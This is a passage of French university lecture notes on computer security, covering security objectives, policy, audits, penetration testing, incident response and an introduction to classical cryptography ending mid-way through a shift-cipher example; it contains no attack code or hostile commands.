Vous êtes sur la page 1sur 92

REPUBLIQUE DEMOCRATIQUE DU CONGO

INSTITUT SUPERIEUR PEDAGOGIQUE

SECTION DES SCIENCES EXACTES


Départements de Mathématiques et d’Informatique

SECURITE INFORMATIQUE
SUPPORT DE COURS DESTINE AUX ETUDIANTS DE DEUXIEME
ANNEE DE LICENCE EN MATHEMATIQUE ET EN INFORMATIQUE

Ruffin-Benoît NGOIE MPOY


Docteur en Mathématiques Appliquées

Année Académique 2019 – 2020en L2 Informatique.


Sécurité informatique
Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 0
INTRODUCTION

Avec le développement des réseaux de communication comme Internet et les


réseaux de téléphonie mobile, le besoin d’assurer la confidentialité et
l’authenticité des messages échangés a considérablement augmenté. Les
protocoles cryptographiques sont des règles d’échange entre les points du réseau,
ils permettent de sécuriser les communications. Ils sont utilisés par exemple dans
les distributeurs de billets, les abonnements aux chaînes de télévision payantes, la
téléphonie mobile, le commerce électronique.

La difficulté de la conception des protocoles tient au fait que les messages


échangés peuvent être écoutés par une tierce personne, interceptés ou modifiés.
Ainsi les systèmes des fichiers confidentiels ou d’abonnements aux chaînes
télévisées payantes ont déjà été beaucoup piratés, en interposant un ordinateur
entre les messages reçus et le décodeur ou en modifiant certains composants.

Par ce cours, nous voulons apporter une certaine contribution afin de rendre
la notion de la cryptographie plus accessible aux étudiants du département de
Mathématique-informatique et proposer une façon d’intégrer la notion de la
sécurité informatique dans notre système informatique.

Les étudiants pourront reconnaître les notions de base de la cryptographie.


De plus, nous espérons avoir une certaine mesure de l’intérêt des étudiants
universitaires pour cette notion en tant qu’objet d’enseignement.

Ce travail suppose plusieurs objectifs :

- établir une revue historique la plus exhaustive possible sur la


cryptographie ;
- revoir de façon rigoureuse la théorie mathématique sur l’arithmétique
modulaire;
- utiliser cette théorie pour bâtir des algorithmes d’implémentation des
systèmes cryptographiques ;
- Nous cherchons ensuite à dégager l’essentiel des concepts fondamentaux
de la cryptographie afin de pouvoir l’appliquer à la mathématique.

Pour arriver à remplir cette tâche, nous proposons :

- En premier lieu, une introduction à la sécurité informatique.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 1
- En deuxième lieu une introduction et une terminologie de la cryptographie
classique. Et ensuite quelques exemples des chiffrements de la
cryptographie classique.
- En troisième lieu nous parlerons de la cryptanalyse.
- En quatrième lieu, nous parlerons de la cryptographie moderne.
- En cinquième lieu, nous parlerons de la piraterie informatique
- En sixième lieu, nous parlerons des générateurs pseudo-aléatoires

Bon voyage donc au lecteur qui aborde les différents sujets développés dans ce
support et auquel je souhaite autant de plaisir que j’en ai éprouvé moi-même à la
lecture de la Sécurité informatique.

Ruffin-Benoît NGOIE MPOY

Docteur en Mathématiques appliquées

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 2
Chapitre 1 : Introduction à la sécurité informatique
Avec le développement de l'utilisation d'internet, de plus en plus d'entreprises
ouvrent leur système d'information à leurs partenaires ou leurs fournisseurs, il est
donc essentiel de connaître les ressources de l'entreprise à protéger et de maîtriser
le contrôle d'accès et les droits des utilisateurs du système d'information. Il en va
de même lors de l'ouverture de l'accès de l'entreprise sur internet.

Par ailleurs, avec le nomadisme, consistant à permettre aux personnels de se


connecter au système d'information à partir de n'importe quel endroit, les
personnels sont amenés à « transporter » une partie du système d'information hors
de l'infrastructure sécurisé de l'entreprise.

1.1. Equation du risque

Le risque en termes de sécurité est généralement caractérisé par l'équation


suivante :

La menace (en anglais « threat ») représente le type d'action susceptible de


nuire dans l'absolu, tandis que la vulnérabilité (en anglais « vulnerability »,
appelée parfois faille ou brêche) représente le niveau d'exposition face à la
menace dans un contexte particulier. Enfin la contre-mesure est l'ensemble des
actions mises en œuvre en prévention de la menace.

Les contre-mesures à mettre en œuvre ne sont pas uniquement des solutions


techniques mais également des mesures de formation et de sensibilisation à
l'intention des utilisateurs, ainsi qu'un ensemble de règles clairement définies.

Afin de pouvoir sécuriser un système, il est nécessaire d'identifier les


menaces potentielles, et donc de connaître et de prévoir la façon de procéder de
l'ennemi. Le but de ce dossier est ainsi de donner un aperçu des motivations
éventuelles des pirates, de catégoriser ces derniers, et enfin de donner une idée de
leur façon de procéder afin de mieux comprendre comment il est possible de
limiter les risques d'intrusions.

1.2. Objectifs de la sécurité

Le système d'information est généralement défini par l'ensemble des données et


des ressources matérielles et logicielles de l'entreprise permettant de les stocker

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 3
ou de les faire circuler. Le système d'information représente un patrimoine
essentiel de l'entreprise, qu'il convient de protéger.

La sécurité informatique, d'une manière générale, consiste à assurer que les


ressources matérielles ou logicielles d'une organisation sont uniquement utilisées
dans le cadre prévu.

La sécurité informatique vise généralement cinq principaux objectifs :

➢ L'intégrité, c'est-à-dire garantir que les données sont bien celles que l'on croit
être ;
➢ La confidentialité, consistant à assurer que seules les personnes autorisées
aient accès aux ressources échangées ;
➢ La disponibilité, permettant de maintenir le bon fonctionnement du système
d'information ;
➢ La non répudiation, permettant de garantir qu'une transaction ne peut être
niée ;
➢ L'authentification, consistant à assurer l'identité d'un utilisateur, c'est-à-dire
de garantir à chacun des correspondants que son partenaire est bien celui qu'il
croit être. Un contrôle d'accès peut permettre (par exemple par le moyen d'un
mot de passe qui devra être crypté) l'accès à des ressources uniquement aux
personnes autorisées.

La confidentialité

La confidentialité consiste à rendre l'information inintelligible à d'autres


personnes que les seuls acteurs de la transaction.

L'intégrité

Vérifier l'intégrité des données consiste à déterminer si les données n'ont pas été
altérées durant la communication (de manière fortuite ou intentionnelle).

La disponibilité

L'objectif de la disponibilité est de garantir l'accès à un service ou à des


ressources.

La non-répudiation

La non-répudiation de l'information est la garantie qu'aucun des correspondants


ne pourra nier la transaction.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 4
L'authentification

L'authentification consiste à assurer l'identité d'un utilisateur, c'est-à-dire de


garantir à chacun des correspondants que son partenaire est bien celui qu'il croit
être. Un contrôle d'accès peut permettre (par exemple par le moyen d'un mot de
passe qui devra être crypté) l'accès à des ressources uniquement aux personnes
autorisées.

1.3. Nécessité d’une approche globale

La sécurité d'un système informatique fait souvent l'objet de métaphores. En effet,


on la compare régulièrement à une chaîne en expliquant que le niveau de sécurité
d'un système est caractérisé par le niveau de sécurité du maillon le plus faible.
Ainsi, une porte blindée est inutile dans un bâtiment si les fenêtres sont ouvertes
sur la rue.

Cela signifie que la sécurité doit être abordée dans un contexte global et
notamment prendre en compte les aspects suivants :

• La sensibilisation des utilisateurs aux problèmes de sécurité


• La sécurité logique, c'est-à-dire la sécurité au niveau des données,
notamment les données de l'entreprise, les applications ou encore les systèmes
d'exploitation.
• La sécurité des télécommunications : technologies réseau, serveurs de
l'entreprise, réseaux d'accès, etc.
• La sécurité physique, soit la sécurité au niveau des infrastructures
matérielles : salles sécurisées, lieux ouverts au public, espaces communs de
l'entreprise, postes de travail des personnels, etc.

1.4. Mise en place d’une politique de sécurité

La sécurité des systèmes informatiques se cantonne généralement à garantir les


droits d'accès aux données et ressources d'un système en mettant en place des
mécanismes d'authentification et de contrôle permettant d'assurer que les
utilisateurs des dites ressources possèdent uniquement les droits qui leur ont été
octroyés.

Les mécanismes de sécurité mis en place peuvent néanmoins provoquer une


gêne au niveau des utilisateurs et les consignes et règles deviennent de plus en
plus compliquées au fur et à mesure que le réseau s'étend. Ainsi, la sécurité

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 5
informatique doit être étudiée de telle manière à ne pas empêcher les utilisateurs
de développer les usages qui leur sont nécessaires, et de faire en sorte qu'ils
puissent utiliser le système d'information en toute confiance.

C'est la raison pour laquelle il est nécessaire de définir dans un premier temps
une politique de sécurité, dont la mise en œuvre se fait selon les quatre étapes
suivantes :

• Identifier les besoins en terme de sécurité, les risques informatiques pesant sur
l'entreprise et leurs éventuelles conséquences ;
• Elaborer des règles et des procédures à mettre en oeuvre dans les différents
services de l'organisation pour les risques identifiés ;
• Surveiller et détecter les vulnérabilités du système d'information et se tenir
informé des failles sur les applications et matériels utilisés ;
• Définir les actions à entreprendre et les personnes à contacter en cas de
détection d'une menace ;

La politique de sécurité est donc l'ensemble des orientations suivies par une
organisation (à prendre au sens large) en termes de sécurité. A ce titre elle se doit
d'être élaborée au niveau de la direction de l'organisation concernée, car elle
concerne tous les utilisateurs du système.

A cet égard, il ne revient pas aux seuls administrateurs informatiques de


définir les droits d'accès des utilisateurs mais aux responsables hiérarchiques de
ces derniers. Le rôle de l'administrateur informatique est donc de s'assurer que les
ressources informatiques et les droits d'accès à celles-ci sont en cohérence avec la
politique de sécurité définie par l'organisation.

De plus, étant donné qu'il est le seul à connaître parfaitement le système, il


lui revient de faire remonter les informations concernant la sécurité à sa direction,
éventuellement de conseiller les décideurs sur les stratégies à mettre en oeuvre,
ainsi que d'être le point d'entrée concernant la communication à destination des
utilisateurs sur les problèmes et recommandations en terme de sécurité.

La sécurité informatique de l'entreprise repose sur une bonne connaissance


des règles par les employés, grâce à des actions de formation et de sensibilisation
auprès des utilisateurs, mais elle doit aller au-delà et notamment couvrir les
champs suivants :

• Un dispositif de sécurité physique et logique, adapté aux besoins de


l'entreprise et aux usages des utilisateurs ;
• Une procédure de management des mises à jour ;

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 6
• Une stratégie de sauvegarde correctement planifiée ;
• Un plan de reprise après incident ;
• Un système documenté à jour ;

1.5. Les causes de l’insécurité

On distingue généralement deux types d'insécurités :

• l'état actif d'insécurité, c'est-à-dire la non connaissance par l'utilisateur des


fonctionnalités du système, dont certaines pouvant lui être nuisibles (par
exemple le fait de ne pas désactiver des services réseaux non nécessaires à
l'utilisateur)
• l'état passif d'insécurité, c'est-à-dire la méconnaissance des moyens de
sécurité mis en place, par exemple lorsque l'administrateur (ou l'utilisateur)
d'un système ne connaît pas les dispositifs de sécurité dont il dispose.

1.6. Mise en œuvre des mesures de sécurité

La phase de mise en œuvre consiste à déployer des moyens et des dispositifs visant
à sécuriser le système d'information ainsi que de faire appliquer les règles définies
dans la politique de sécurité.

Les principaux dispositifs permettant de sécuriser un réseau contre les


intrusions sont les systèmes pare-feu. Néanmoins ce type de dispositif ne protège
pas la confidentialité des données circulant sur le réseau.

Ainsi, la plupart du temps il est nécessaire de recourir à des applications


implémentant des algorithmes cryptographiques permettant de garantir la
confidentialité des échanges.

La mise en place de tunnels sécurisés (VPN) permet d'obtenir un niveau de


sécurisation supplémentaire dans la mesure où l'ensemble de la communication
est chiffrée.

1.7. Audit de sécurité

Un audit de sécurité (en anglais security audit) consiste à s'appuyer sur un tiers
de confiance (généralement une société spécialisée en sécurité informatique) afin
de valider les moyens de protection mis en œuvre, au regard de la politique de
sécurité.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 7
L'objectif de l'audit est ainsi de vérifier que chaque règle de la politique de
sécurité est correctement appliquée et que l'ensemble des dispositions prises
forme un tout cohérent.

Un audit de sécurité permet de s'assurer que l'ensemble des dispositions


prises par l'entreprise sont réputées sûres.

1.8. Test d’intrusion

Les tests d'intrusion (en anglais penetration tests, abrégés en pen tests) consiste
à éprouver les moyens de protection d'un système d'information en essayant de
s'introduire dans le système en situation réelle.

On distingue généralement deux méthodes distinctes :

• La méthode dite « boîte noire » (en anglais « black box ») consistant à essayer
d'infiltrer le réseau sans aucune connaissance du système, afin de réaliser un
test en situation réelle ;
• La méthode dite « boîte blanche » (en anglais « white box ») consistant à tenter
de s'introduire dans le système en ayant connaissance de l'ensemble du système,
afin d'éprouver au maximum la sécurité du réseau.

Une telle démarche doit nécessairement être réalisée avec l'accord (par écrit
de préférence) du plus haut niveau de la hiérarchie de l'entreprise, dans la mesure
où elle peut aboutir à des dégâts éventuels et étant donné que les méthodes mises
en œuvre sont interdites par la loi en l'absence de l'autorisation du propriétaire du
système.

Un test d'intrusion, lorsqu'il met en évidence une faille, est un bon moyen de
sensibiliser les acteurs d'un projet. A contrario, il ne permet pas de garantir la
sécurité du système, dans la mesure où des vulnérabilités peuvent avoir échappé
aux testeurs. Les audits de sécurité permettent d'obtenir un bien meilleur niveau
de confiance dans la sécurité d'un système étant donné qu'ils prennent en compte
des aspects organisationnels et humains et que la sécurité est analysée de
l'intérieur.

1.9. Détection des incidents

Afin d'être complètement fiable, un système d'information sécurisé doit disposer


de mesures permettant de détecter les incidents.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 8
Il existe ainsi des systèmes de détection d'intrusion (notés IDS pour Intrusion
Detection Systems) chargés de surveiller le réseau et capables de déclencher une
alerte lorsqu'une requête est suspecte ou non conforme à la politique de sécurité.

La disposition de ces sondes et leur paramétrage doivent être soigneusement


étudiés car ce type de dispositif est susceptible de générer de nombreuses fausses
alertes.

1.10. Réaction aux incidents

Il est essentiel d'identifier les besoins de sécurité d'une organisation afin de


déployer des mesures permettant d'éviter un sinistre tel qu'une intrusion, une
panne matérielle ou encore un dégât des eaux. Néanmoins, il est impossible
d'écarter totalement tous les risques et toute entreprise doit s'attendre un jour à
vivre un sinistre.

Dans ce type de cas de figure la vitesse de réaction est primordiale car une
compromission implique une mise en danger de tout le système d'information de
l'entreprise. De plus, lorsque la compromission provoque un dysfonctionnement
du service, un arrêt de longue durée peut être synonyme de pertes financières.
Enfin, dans le cas par exemple d'un défaçage de site web (modification des pages),
la réputation de toute l'entreprise est en jeu.

1.10.1. Phase de réaction

La phase de réaction est généralement la phase la plus laissée pour compte dans
les projets de sécurité informatique. Elle consiste à anticiper les événements et à
prévoir les mesures à prendre en cas de pépin.

En effet, dans le cas d'une intrusion par exemple, il est possible que
l'administrateur du système réagisse selon un des scénarios suivants :

• Obtention de l'adresse du pirate et riposte ;


• Extinction de l'alimentation de la machine ;
• Débranchement de la machine du réseau ;
• Réinstallation du système.

Or, chacune de ces actions peut potentiellement être plus nuisible


(notamment en termes de coûts) que l'intrusion elle-même. En effet, si le
fonctionnement de la machine compromise est vital pour le fonctionnement du
système d'information ou s'il s'agit du site d'une entreprise de vente en ligne,
l'indisponibilité du service pendant une longue durée peut être catastrophique.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 9
Par ailleurs, dans ce type de cas, il est essentiel de constituer des preuves, en
cas d'enquête judiciaire. Dans le cas contraire, si la machine compromise a servi
de rebond pour une autre attaque, la responsabilité de l'entreprise risque d'être
engagée.

La mise en place d'un plan de reprise après sinistre permet ainsi d'éviter une
aggravation du sinistre et de s'assurer que toutes les mesures visant à établir des
éléments de preuve sont correctement appliquées.

Par ailleurs, un plan de sinistre correctement mis au point définit les


responsabilités de chacun et évite des ordres et contre-ordres gaspilleurs de temps.

1.10.2. Restauration

La remise en fonction du système compromis doit être finement décrite dans le


plan de reprise après sinistre et doit prendre en compte les éléments suivants :

• Datation de l'intrusion : la connaissance de la date approximative de la


compromission permet d'évaluer les risques d'intrusion sur le reste du réseau
et le degré de compromission de la machine ;
• Confinement de la compromission : il s'agit de prendre les mesures
nécessaires pour que la compromission ne se propage pas ;
• Stratégie de sauvegarde : si l'entreprise possède une stratégie de sauvegarde,
il est conseillé de vérifier les modifications apportées aux données du système
compromis par rapport aux données réputées fiables. En effet, si les données
ont été infectées par un virus ou un cheval de Troie, leur restauration risque
de contribuer à la propagation du sinistre ;
• Constitution de preuves : il est nécessaire pour des raisons légales de
sauvegarder les fichiers journaux du système corrompu afin de pouvoir les
restituer en cas d'enquête judiciaire ;
• Mise en place d'un site de repli : plutôt que de remettre en route le système
compromis, il est plus judicieux de prévoir et d'activer en temps voulu un site
de repli, permettant d'assurer une continuité de service.

1.10.3. Répétition du plan sinistre

La répétition du plan de sinistre permet de vérifier le bon fonctionnement du plan


et permet également à tous les acteurs concernés d'être sensibilisés, au même titre
que les exercices d'évacuation sont indispensables dans les plans de secours contre
les incendies.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 10
CHAPITRE 2 : CRYPTOGRAPHIE CLASSIQUE

2.1. Introduction et terminologie


2.1.1. Introduction

Dès que les hommes apprirent à communiquer, ils durent trouver des moyens
d’assurer la confidentialité d’une partie de leurs communications : l’origine de la
cryptographie remonte sans doute aux origines de l’homme.

En effet, le mot cryptographie est un terme générique désignant l’ensemble


des techniques permettant de chiffrer des messages c’est-à-dire de les rendre
inintelligibles sans une action spécifique.
Message clair Chiffrement Déchiffrement Message chiffré

Kc Kd
Figure 1.1. Cryptage de données par la clé K

C’est au cours de ces vingt-cinq dernières années que la cryptographie est


devenue une science basée sur les mathématiques et informatiques.

a) Définition

Le mot « cryptographie » vient du grec qui signifie (Kryptos) : caché et


(graphein) : écrire.

Art de transformer un message clair en un message inintelligible par celui


qui ne possède pas les clefs de chiffrement.

b) Définition mathématique (notations)

Un système cryptographique se définit comme un quintuplet  = P, C, K , E, D

Avec :

- P : ensemble fini des textes clairs (plain texts)


- C : ensemble fini des textes chiffrés (cipher texts)
- K : ensemble fini des clés (key space)
- E : ensemble fini de règles de chiffrement (encryption rules)
- D : ensemble fini des règles de déchiffrement (decryption rules)

∀ 𝑘 ∈ 𝐾, ∃ 𝑐𝑘 ∈ 𝐸 𝑡𝑒𝑙 𝑞𝑢𝑒 𝑐𝑘 : 𝑃 → 𝐶, ∃ 𝑑𝑘 ∈ 𝐷 𝑡𝑒𝑙 𝑞𝑢𝑒 𝑑𝑘 : 𝐶 → 𝑃


Sécurité informatique en L2 Informatique.
Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 11
La notation mathématique précise que si un texte clair x chiffré en utilisant
c k , et si le texte chiffré y obtenue est ensuite déchiffré en utilisant d k , on retrouve
le texte clair x original.

Le canal de communication

Oscar

Alice Chiffrement Dechiffrement Bob

x y x
Canal sûr

Générateur de clef

Figure 1.2. Le canal de communication

Lorsque Bob reçoit 𝑦1 , 𝑦2 … 𝑦𝑛 , il la déchiffre en utilisant la fonction de


déchiffrement 𝑑𝑘 et récupère le texte clair original 𝑥1 , 𝑥2 …𝑥𝑛 . Le canal de
communication est illustré sur figure 1.2.

Il est évident que chaque fonction de chiffrement doit être injective (i.e. ne
pas chiffrer deux blocs différents en deux valeurs égales), sinon, le procédé de
déchiffrement ne pourrait être fait sans ambigüité. Plus précisément, si 𝑦 =
𝐶𝑘 (𝑋1) = 𝐶𝑘 (𝑋2).

Si X1 ≠ X2, Bob n’as aucun moyen de savoir si 𝑦 doit être déchiffré en 𝑋1


ou 𝑋2. On note ainsi 𝑃 = 𝐶, chaque fonction de chiffrement doit être une
permutation. Autrement dit, si les espaces des blocs de messages clairs e chiffrés
identiques, chaque fonction de chiffrement réarrange (ou permute) les éléments
de cet espace.

c) Buts de la cryptographie (ou d’un système cryptographique).

Les buts d’un système cryptographique sont résumés par les mots clefs suivants :

• Confidentialité : seules les personnes habilitées ont accès au contenu du


message.
Sécurité informatique en L2 Informatique.
Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 12
• Intégrité des données : le message ne peut pas être falsifié sans qu’on s’en
aperçoive.

• Authentification :

o l’émetteur est sûr de l’identité du destinataire c’est-a-dire que seul le


destinataire pourra prendre connaissance du message car il est le seul à
disposer de la clef de déchiffrement.
o le receveur est sûr de l’identité de l’émetteur.

• Non-répudiation qui se décompose en trois :

o Non-répudiation d’origine l’émetteur ne peut nier avoir le message et il


peut prouver qu’il ne l’a pas fait si c’est effectivement le cas.
o Non-répudiation de réception le receveur ne peut nier avoir reçu le
message et il peut prouver qu’il ne l’a pas reçu si c’est effectivement le
cas.
o Non-répudiation de transmission l’émetteur du message ne peut nier
avoir envoyé le message et il peut prouver qu’il ne l’a pas fait si c’est
effectivement le cas.

On peut regarder ces quatre qualités du point de vue de l’émetteur. Alice veut être
certaine

▪ qu’une personne non-autorisée (Eve) ne peut pas prendre connaissance


des messages qu’elle envoie, confidentialité.
▪ que ses messages ne seront pas falsifiés par un attaquant malveillant
(Martin), intégrité.
▪ que le destinataire (Bob) a bien pris connaissance de ses messages et ne
pourra pas nier l’avoir reçu, non-répudiation.

De plus elle veut être certaine que son message ne sera pas brouillé parles
imperfections du canal de transmission (cette exigence ne relève pas du cryptage
mais de la correction d’erreur).

Bob veut être certain

▪ que personne d’autre que lui (et Alice bien sûr) n’a accès au contenu du
message, confidentialité.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 13
▪ que le message reçu vient bien d’Alice authentification, par exemple qu’un
attaquant malveillant (Oscar) ne puisse pas se faire passer pour Alice,
mascarade ou usurpation d’identité
▪ que le message n’a pas été falsifié par un attaquant malveillant (Martin),
intégrité des données.
▪ que l’expéditeur (Alice) ne pourra pas nier avoir envoyé le message, non-
répudiation.

2.1.2. Terminologie

- Cryptologie : Science des messages secrets. Elle se décompose en deux


disciplines: la cryptographie et la cryptanalyse.
- Cryptographie : du grec κρυπτος (kryptos) : caché et γραϕειν (graphein)
: écrire Art de transformer un message clair en un message inintelligible par celui
qui ne possède pas les clefs de chiffrement.
- Cryptosystème : Il est défini comme l’ensemble des clés possibles (espace de
clés), des textes clairs et chiffrés possibles associés à un algorithme donné.
- Stéganographie : Du grec στεγανος (steganos) : couvert et γραϕειν
(graphein) : écrire. Branche particulière de la cryptographie qui consiste non pas
à rendre le message inintelligible, mais à le camoufler dans un support (texte,
image, etc.) de manière à masquer sa présence.
- Cryptanalyse : Art d'analyser un message chiffré afin de le décrypter.
- Déchiffrement : Opération inverse du chiffrement, i.e. obtenir la version
originale d'un message qui a été précédemment chiffré en connaissant la méthode
de chiffrement et les clefs.
- Décryptement : Restauration des données qui avaient été chiffrées à leur état
premier ("en clair"), sans disposer des clefs théoriquement nécessaires.
- Le chiffrement : Transformation à l’aide d’une clef d’un message en clair (dit
texte clair) en un message incompréhensible (dit texte chiffré) pour celui qui ne
possède pas de la clef de déchiffrement.
- Texte chiffré : Appelé également cryptogramme, le texte chiffré est le résultat
de l’application d’un chiffrement à un texte clair.
- Clef : Il s’agit du paramètre impliqué et autorisant des opérations de
chiffrement et/ou déchiffrement. Dans le cas d’un algorithme symétrique, la clef
est identique lors des deux opérations. Dans le cas d’algorithmes asymétriques,
elle diffère pour les deux opérations.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 14
2.2. Histoire de la cryptographie ancienne (ou cryptographie classique)
Contrairement à ce que l’on peut penser, la cryptographie n’est pas seulement une
technique moderne, ni un produit de l’ère informatique. En effet de tout temps,
les hommes ont ressenti le besoin de cacher des informations confidentielles. Bien
évidemment depuis ses débuts la cryptographie a grandement évolué. Au cours
des siècles, de nombreux systèmes de chiffrage ont été inventés, tous de plus en
plus perfectionnés, et il est vrai que l’informatique y a beaucoup contribué. Mais
au commencement les algorithmes étaient loin d’être aussi complexes et astucieux
qu’à notre époque. La majeure partie des méthodes d’antan reposait sur deux
principes fondamentaux : la substitution (remplacer certaines lettres par d’autres)
et la transposition (permuter des lettres du message afin de le brouiller).
Nous allons voir quelques systèmes rudimentaires de transformations (qui
pour certains, ne sont pas vraiment des cryptosystèmes) qui sont intéressants soit
du point de vue historique, soit comme étude de cas.
Il s’agit des protocoles utilisés historiquement et qui ont mené à la
cryptographie moderne.

2.3. Exemples de système cryptographique


2.3.1. Le chiffrement par décalage
Cette section, on décrit le chiffrement par décalage. Basé sur l’arithmétique
modulaire. Etant donné un entier 𝑛 ≥ 2 , l’arithmétique modulo n consiste à
faire des calculs sur les restes dans la division euclidienne des entiers par 𝑛.

Exemples :
(1) Je me couche à 21 h et je dors pendant 10 h. Quelle heure est-il alors ?

Réponse : 7 h, puisque 21 + 10 = 31 ≡ 7 (𝑚𝑜𝑑 24) .


(2) Aujourd’hui on est mardi (2e jour de la semaine). Quel jour sera-t-on dans 30
Jours ? Réponse : Jeudi, puisque : 2 + 30 = 32 ≡ 4 ( 𝑚𝑜𝑑 7 ).
Définition

Soient 𝑎, 𝑏 𝑒𝑡 𝑛 des entiers, avec 𝑛 ≠ 0. On dit que 𝑎 𝑒𝑠𝑡 𝑐𝑜𝑛𝑔𝑟𝑢 à 𝑏 modulo


𝑛 et on note 𝑎 ≡ 𝑏 (𝑚𝑜𝑑 𝑛), 𝑠𝑖 𝑛 |( 𝑎 − 𝑏 ) , c.-à-d. s’il existe un entier 𝑥 tel
que 𝑎 − 𝑏 = 𝑛𝑥.

Proposition 1.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 15
La relation de congruence modulo 𝑛 est une relation d’équivalence, c.-à-d. elle
est réflexive, symétrique et transitive.

Proposition 2.
a) Il existe un et un seul entier 𝑟 dans { 0,1,2, . . . , 𝑛 − 1} tel que 𝑎 ≡
𝑟 (𝑚𝑜𝑑 𝑛) . Cet entier 𝑟 est le reste dans la division euclidienne de 𝑎 par 𝑛.

b) 𝑎 ≡ 𝑏 (𝑚𝑜𝑑 𝑛 ) si et seulement si 𝑎 et 𝑏 ont le même reste dans la division


euclidienne par 𝑛.
On rappelle la liste de ces propriétés sans les démontrer :
Propriétés :

1. 𝑎 = 𝑏 𝑚𝑜𝑑 𝑛 𝑠𝑠𝑖 𝑛|𝑎 − 𝑏

2. 𝑎 = 𝑏 𝑚𝑜𝑑 𝑛 ⟺ 𝑐𝑎 = 𝑐𝑏 𝑚𝑜𝑑 (𝑐𝑛)

3. 𝑎 = 𝑏 𝑚𝑜𝑑 𝑛 ⟹ 𝑎𝑐 = 𝑏𝑐 𝑚𝑜𝑑 𝑛

4. 𝑎 = 𝑏 𝑚𝑜𝑑 𝑚 ⇔ 𝑏 = 𝑎 𝑚𝑜𝑑 𝑚

5. 𝑎 = 𝑏 𝑚𝑜𝑑 𝑛 𝑒𝑡 𝑏 = 𝑐 𝑚𝑜𝑑 𝑛 ⇒ 𝑎 = 𝑐 𝑚𝑜𝑑 𝑛

6. ((𝑎 𝑚𝑜𝑑 𝑛) + (𝑏 𝑚𝑜𝑑 𝑛)) 𝑚𝑜𝑑 𝑛 = (𝑎 + 𝑏) 𝑚𝑜𝑑 𝑛

7. ((𝑎 𝑚𝑜𝑑 𝑛) − (𝑏 𝑚𝑜𝑑 𝑛)) 𝑚𝑜𝑑 𝑛 = (𝑎 − 𝑏) 𝑚𝑜𝑑 𝑛

8. ((𝑎 𝑚𝑜𝑑 𝑛) ∗ (𝑏 𝑚𝑜𝑑 𝑛)) 𝑚𝑜𝑑 𝑛 = (𝑎 ∗ 𝑏) 𝑚𝑜𝑑 𝑛

2.3.2. Définition du chiffrement par décalage


si a, b et m sont des entiers, Et si m>0, on écrit 𝑎 ≡ 𝑏 (𝑚𝑜𝑑 𝑚) si 𝑚 divise 𝑏 −
𝑎 (que l’on note 𝑚(𝑏 − 𝑎). La phrase 𝑎 ≡ 𝑏 (𝑚𝑜𝑑 𝑚) « 𝑎 est congru à 𝑏 modulo
𝑚 ». L’entier 𝑚 est appelé modulus.

Soit 𝑃 = 𝐶 = 𝐾 = 𝑍26 𝑝𝑜𝑢𝑟 0 ≤ 𝑘 ≤ 25 (𝑘 ∈ 𝐾), 𝑜𝑛 𝑑𝑒𝑑𝑢𝑖𝑡

𝐶𝑘 = 𝑥 + 𝑘 𝑚𝑜𝑑 26

𝐷𝑘 = 𝑦 − 𝑘 𝑚𝑜𝑑 26

Figure 2.3 : chiffrement par décalage

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 16
Le chiffrement par décalage est représenté sur la figure 1.3. il se définit dans
𝑍26 car on utilise 26 lettres dans l’alphabet, mais on pourrais le définir sur
n’importe quel 𝑍 𝑚 . Il est facile de voir que le chiffrement par décalage forme un
système cryptographique, c'est-à-dire 𝐷𝑘 (𝐶𝑘 (𝑥)) = 𝑥 𝑝𝑜𝑢𝑟 𝑡𝑜𝑢𝑡 𝑥 𝜖 𝑍 26

On peut utiliser le chiffrement par décalage (avec le modulo 26) pour chiffrer
un texte ordinaire en décidant d’une correspondance entre les caractères
alphabétiques et les résidus modulo 26 comme ceci :
Alphabet A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

0 1 2 3 4 5 6 7 8 9 10 111 12 13 14 15 16 17 18 19 20 21 22 23 24 25

Exemple

Supposons que la clef du chiffrement par décalage soit k = 9 et que le texte clair
soit :

« wewillmeetatmidnight »

Tout d’abord, convertissons ce texte en une suite d’entiers en utilisant la


table de correspondance. On obtient ;

22 4 22 8 11 11 12 4 4 19 0 19 12 8 3 13 8 6 7 19

Ensuite, ajoutons 9 à chaque valeur et réduisons modulo 26 :

5 13 5 17 20 20 21 13 13 2 9 2 21 17 12 22 17 15 16 2

